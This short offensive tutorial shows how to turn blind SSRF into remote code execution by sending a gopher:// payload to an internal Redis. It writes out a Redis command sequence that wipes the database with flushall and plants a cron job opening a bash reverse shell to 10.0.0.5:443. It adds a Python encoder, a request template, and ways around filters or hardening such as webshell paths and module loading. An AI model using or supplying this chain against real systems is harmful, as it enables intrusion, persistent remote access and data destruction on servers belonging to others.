Turn blind SSRF into RCE with a gopher payload to Redis

A blind SSRF that only proves “the server made a request” is still critical if it can speak gopher:// to an unauthenticated internal service. Redis is the classic target: you pipeline RESP commands to overwrite a cron file or a webshell path.

# build the RESP payload, then URL-encode it into a gopher:// URL
redis="flushallrnset x 'nn*/1 * * * * bash -i >& /dev/tcp/10.0.0.5/443 0>&1nn'rnconfig set dir /var/spool/cron/rnconfig set dbfilename rootrnsavern"
python3 -c "import urllib.parse,sys;print('gopher://127.0.0.1:6379/_'+urllib.parse.quote(sys.argv[1]))" "$redis"

Feed that URL to the vulnerable parameter. If the app strips gopher, try dict:// for single commands, or chain through an open HTTP proxy that upgrades the scheme.

POST /fetch HTTP/1.1
Host: target

url=gopher://127.0.0.1:6379/_%2Aflushall...

Pro note: the write-to-cron trick needs the Redis process to own the crontab dir. On hardened boxes pivot to config set dir of a web root plus dbfilename shell.php, or abuse the module load path if you can stage a .so.